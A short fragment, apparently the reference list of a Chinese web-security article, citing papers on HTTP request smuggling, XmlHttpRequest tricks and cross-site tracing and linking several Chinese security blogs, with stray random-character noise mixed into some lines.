5 _2 r3 {1 q- t9 ^& W! {/ m/ V9 [4 e
本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
$ Y. `7 e& ]) N9 R; D( N$ WOther XmlHttpRequest tricks (Amit Klein, January 2003)
% ]! Q8 v, ~  [$ @6 `( P, W"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
6 t2 N3 N4 q# F- P% VXeye Team http://xeye.us/